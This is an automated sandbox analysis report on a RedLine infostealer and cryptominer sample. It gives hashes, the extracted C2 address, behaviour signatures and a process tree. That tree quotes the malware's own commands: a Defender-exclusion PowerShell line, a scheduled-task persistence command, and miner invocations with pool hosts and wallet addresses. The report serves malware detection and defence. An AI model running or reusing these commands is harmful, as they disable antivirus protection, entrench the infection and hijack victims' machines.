redline | d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5

Analysis

max time kernel
102s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04/01/2023, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.6MB
Sample230104-cdvfqsgh2v
SHA256 d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5
MD5 ee67ea6b81a0859cbdea2c1a8c689c40
SHA1 e4425ab917e028be1a349384f4dce4c0eee1f72a
SHA512 4ef11812363009c8303d2385f08e666c4e9fbe55413577e743350f427794a3663fdae1a2b4d98771ee5f6359c41adec50f10cf733a40a907f1b448bcd3568c99
SSDEEP 24576:UhhhzB/Aw/ApXK/31YoHvEHPGc6v7FvXeAqyKeTRMgLB0rqXxTLhBktOK+HoD5PD:UhhhdFo+YaEH7asynFMCCqBTotOKp9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline givememygun infostealer miner spyware upx

Malware Config

Extracted

Family

redline

Botnet

GIVEMEMYGUN

193.233.49.83:3321

Attributes

auth_value
862b38f54d952bd9a16b1945a039305a

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

Detectes Phoenix Miner Payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
2320	ghoul.exe
2160	Program.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4392-174-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/4392-176-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/4392-177-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	ghoul.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4392	RegSvcs.exe
4392	RegSvcs.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2160 set thread context of 1964	2160	Program.exe	96
PID 2320 set thread context of 2736	2320	ghoul.exe	101
PID 2320 set thread context of 4392	2320	ghoul.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
788	powershell.exe
788	powershell.exe
2320	ghoul.exe
1964	AppLaunch.exe
1964	AppLaunch.exe
2320	ghoul.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	ghoul.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeDebugPrivilege	1964	AppLaunch.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 2320	5080	file.exe	84
PID 5080 wrote to memory of 2320	5080	file.exe	84
PID 2320 wrote to memory of 788	2320	ghoul.exe	85
PID 2320 wrote to memory of 788	2320	ghoul.exe	85
PID 2320 wrote to memory of 3368	2320	ghoul.exe	87
PID 2320 wrote to memory of 3368	2320	ghoul.exe	87
PID 3368 wrote to memory of 4504	3368	cmd.exe	89
PID 3368 wrote to memory of 4504	3368	cmd.exe	89
PID 2320 wrote to memory of 2160	2320	ghoul.exe	92
PID 2320 wrote to memory of 2160	2320	ghoul.exe	92
PID 2320 wrote to memory of 2160	2320	ghoul.exe	92
PID 2160 wrote to memory of 1964	2160	Program.exe	96
PID 2160 wrote to memory of 1964	2160	Program.exe	96
PID 2160 wrote to memory of 1964	2160	Program.exe	96
PID 2160 wrote to memory of 1964	2160	Program.exe	96
PID 2160 wrote to memory of 1964	2160	Program.exe	96
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2320 wrote to memory of 2736	2320	ghoul.exe	101
PID 2736 wrote to memory of 4776	2736	vbc.exe	102
PID 2736 wrote to memory of 4776	2736	vbc.exe	102
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104
PID 2320 wrote to memory of 4392	2320	ghoul.exe	104

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5080
- C:\Users\Admin\AppData\Local\Temp\ghoul.exe
  "C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb68
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
      4⤵
      Creates scheduled task(s)
      PID:4504
- - C:\Users\Admin\AppData\Roaming\Program.exe
    "C:\Users\Admin\AppData\Roaming\Program.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1964
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RAiXn2Cm9gBmXtWE1r43sAskTm6LNhULcE.worker -p x -t 4
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:4776
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xfD75a752E7594751115555Af6d67B49D8dFf2Ee5.Rig001 -coin etc -log 0
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:4392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ghoul.exe

Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Program.exe

Path C:\Users\Admin\AppData\Roaming\Program.exe
Size 266KB
SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
MD5 1c26d22dc1fe8afb79d9ba5987f47dcd
SHA1 025b02c610b6dceb8204a34d70837813685fed85
SHA512 beb70e71cd4616759b373370ab553edbc66e67468f443f0c877a501ccf2c2ac3d565c67ebf4933fceaa483a6eb1af1e582b778a9105981b1c951976733a06918
SSDEEP 3072:9SmIOrYJlyQ5iNjQr/H411dOb4A24Ra25eXqC4Kj+0Dhv3UIuY5MS0vAE:9DIMYh4KY11Q4A21EeXRj+I+wMS0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

Program.exe

Path C:\Users\Admin\AppData\Roaming\Program.exe
Size 266KB
SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
MD5 1c26d22dc1fe8afb79d9ba5987f47dcd
SHA1 025b02c610b6dceb8204a34d70837813685fed85
SHA512 beb70e71cd4616759b373370ab553edbc66e67468f443f0c877a501ccf2c2ac3d565c67ebf4933fceaa483a6eb1af1e582b778a9105981b1c951976733a06918
SSDEEP 3072:9SmIOrYJlyQ5iNjQr/H411dOb4A24Ra25eXqC4Kj+0Dhv3UIuY5MS0vAE:9DIMYh4KY11Q4A21EeXRj+I+wMS0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/788-144-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

Download

memory/788-143-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

Download

memory/788-142-0x00000225D4560000-0x00000225D4582000-memory.dmp

Download

memory/1964-158-0x0000000004FD0000-0x0000000004FE2000-memory.dmp

Download

memory/1964-169-0x0000000007760000-0x00000000077D6000-memory.dmp

Download

memory/1964-172-0x0000000006B40000-0x0000000006B5E000-memory.dmp

Download

memory/1964-171-0x00000000080B0000-0x00000000085DC000-memory.dmp

Download

memory/1964-170-0x00000000079B0000-0x0000000007B72000-memory.dmp

Download

memory/1964-168-0x0000000007690000-0x00000000076E0000-memory.dmp

Download

memory/1964-161-0x0000000005440000-0x00000000054A6000-memory.dmp

Download

memory/1964-160-0x0000000005030000-0x000000000506C000-memory.dmp

Download

memory/1964-159-0x0000000005100000-0x000000000520A000-memory.dmp

Download

memory/1964-157-0x0000000005530000-0x0000000005B48000-memory.dmp

Download

memory/1964-152-0x0000000000400000-0x0000000000438000-memory.dmp

Download

memory/2320-145-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

Download

memory/2320-139-0x0000000000170000-0x000000000025E000-memory.dmp

Download

memory/2320-140-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

Download

memory/2736-162-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/2736-167-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/2736-164-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/2736-165-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/2736-173-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/4392-177-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/4392-176-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/4392-174-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/5080-134-0x00000000055E0000-0x0000000005672000-memory.dmp

Download

memory/5080-132-0x00000000007E0000-0x0000000000976000-memory.dmp

Download

memory/5080-135-0x00000000055B0000-0x00000000055BA000-memory.dmp

Download

memory/5080-133-0x0000000005970000-0x0000000005F14000-memory.dmp

Download